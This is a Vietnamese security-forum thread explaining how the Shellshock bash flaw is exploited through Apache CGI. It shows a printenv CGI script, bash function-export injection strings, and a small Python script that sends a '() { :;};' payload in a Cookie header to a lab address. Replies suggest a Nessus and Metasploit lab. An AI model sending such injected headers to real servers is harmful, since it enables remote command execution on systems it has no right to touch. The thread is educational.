Phân tích cách khai thác lỗ hổng Shellshock

python

VIP Members
20/06/2013
12
61 bài viết
Phân tích cách khai thác lỗ hổng Shellshock
Vài ngày gần đây một lỗ hổng trong lõi của Linux có tên gọi “Shellshock” đã thu hút sự chú ý của rất nhiều người. Được đánh giá là một lỗ hổng cực kỳ nghiêm trọng với tầm ảnh hưởng rất rộng đối với nhiều hệ thống sử dụng Linux. Trong bài viết này tôi sẽ đề cập tới cách thức khai thác lỗ hổng này qua mod_cgi của Apache.

Shellshock.png

CGI( Common Gateway Interface) được hiểu như một cổng giao tiếp chung giữa webserver và chương trình thực thi script CGI. Về bản chất khi có request từ phia client tới một script CGI như:

http://example.com/cgi-bin/printenv.pl(1)

Webserver sẽ thông qua CGI gọi chương trình thực thi tương ứng và trả lại kết quả về phia client.

Đối với webserver Apache khi có một request HTTP tới một script CGI, Bash sẽ tạo ra những biến môi trường tương

ứng với từng thành phần của HTTP request. Bạn có thể kiêm chứng điều này với một script đơn giản như sau:

#!/usr/bin/perl

=head1 DESCRIPTION

printenv — a CGI program that just prints its environment

=cut
print "Content-type: text/plain\r\n\r\n";

for my $var ( sort keys %ENV ) {
printf "%s = \"%s\"\r\n", $var, $ENV{$var};
}

Và đây là kết quả khi thực thi script CGI trên :

COMSPEC="C:\Windows\system32\cmd.exe"
DOCUMENT_ROOT="C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs"
GATEWAY_INTERFACE="CGI/1.1"
HOME="/home/SYSTEM"
HTTP_ACCEPT="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
HTTP_ACCEPT_CHARSET="ISO-8859-1,utf-8;q=0.7,*;q=0.7"
HTTP_ACCEPT_ENCODING="gzip, deflate"
HTTP_ACCEPT_LANGUAGE="en-us,en;q=0.5"
HTTP_CONNECTION="keep-alive"
HTTP_HOST="example.com"
HTTP_USER_AGENT="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0"


Vấn đề chú ý ở đây chính là ở cơ chế tạo biến môi trường của Bash. Nó hỗ trợ việc tạo biến môi trường theo cách export trực tiếp giá trị như :
export VAR=/etc/bin
Ngoài ra nó còn hỗ trợ việc tạo biến môi trường thông qua việc export hàm trong shell script như:

export VAR=’(){ ignored; };’

Và đây cũng chính là lỗ hổng tại những phiên bản Bash < 4.3 mắc phải. Trên thực tế khi chúng ta export giá trị cho biến môi trường bằng hàm theo cách như sau:

export VAR=’() { ignored; };’ /bin/touch –c ’ping –c 8.8.8.8’

Khi Bash gán giá trị của biến VAR bằng hàm vừa khai báo: () { ignored; }; thì nó lại tiếp tục thực thi đoạn string đằng sau ở đây là một câu lệnh trong Bash để thực hiện câu lệnh ping.
Cách thức khai thác lỗ hổng Bash thông qua CGI trong quá trình nó thực hiện thiết lập các biến môi trường có trong HTTP request, qua đó ta có thể inject những đoạn shell độc hại vào trong các trường như :

HTTP_USER_AGENT
COOKIE
REMOTE_HOTS
……

Ta có thể tiến hành kiểm tra việc khai Bash thông qua CGI của Apache một cách đơn giản như sau(thực hiện trên hệ thống thử nghiệm):

import requests

url = "http://10.2.70.11/cgi-bin/test"
exploit = "() { :;}; /bin/touch '/tmp/ shellshock.test"
header = {
"Cookie":exploit
}

r = requests.get(url,headers = header)
print r.headers

Đoạn mã trên cho phép tạo file shellshock.test trong thư mục /tmp.

Thông tin thêm:
1.https://securityblog.redhat.com/201...-environment-variables-code-injection-attack/
2.https://www.pentestpartners.com/blog/shell-shock-what-it-is-and-what-you-can-do/
3.http://seclists.org/oss-sec/2014/q3/650
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Re: Phân tích cách khai thác lỗ hổng Shellshock

Bài phân tích khá hay, để bổ sung thêm tôi xin giới thiệu bài hướng dẫn dò lỗi ShellShock với Nessus và sau đó sử dụng Metasploit để khai thác, đây là bài trình bài của Mr Vinh trong Security Bootcamp 2014
[YOUTUBE]6fWjue7Th4Q[/YOUTUBE]

Mô hình lab sử dụng Metasploitable là mục tiêu tấn công, Attacker sẽ dùng máy ảo chạy KaliLinux. Nếu các bạn tự dựng lab cần cài KaliLinux và update đầy đủ, sau đ1o bật ModCGI trên Metasploiable và tạo 1 file cgi mẫu để test. Chúc các bạn thành công.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Phân tích cách khai thác lỗ hổng Shellshock

Bài phân tích khá hay, để bổ sung thêm tôi xin giới thiệu bài hướng dẫn dò lỗi ShellShock với Nessus và sau đó sử dụng Metasploit để khai thác, đây là bài trình bài của Mr Vinh trong Security Bootcamp 2014
[YOUTUBE]6fWjue7Th4Q[/YOUTUBE]

Mô hình lab sử dụng Metasploitable là mục tiêu tấn công, Attacker sẽ dùng máy ảo chạy KaliLinux. Nếu các bạn tự dựng lab cần cài KaliLinux và update đầy đủ, sau đ1o bật ModCGI trên Metasploiable và tạo 1 file cgi mẫu để test. Chúc các bạn thành công.
T.T link die r pro ơi !! Các bậc tiền bối có thể nói rõ hơn dc hông!
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thẻ
cve-2014-6271 shellshock
Bên trên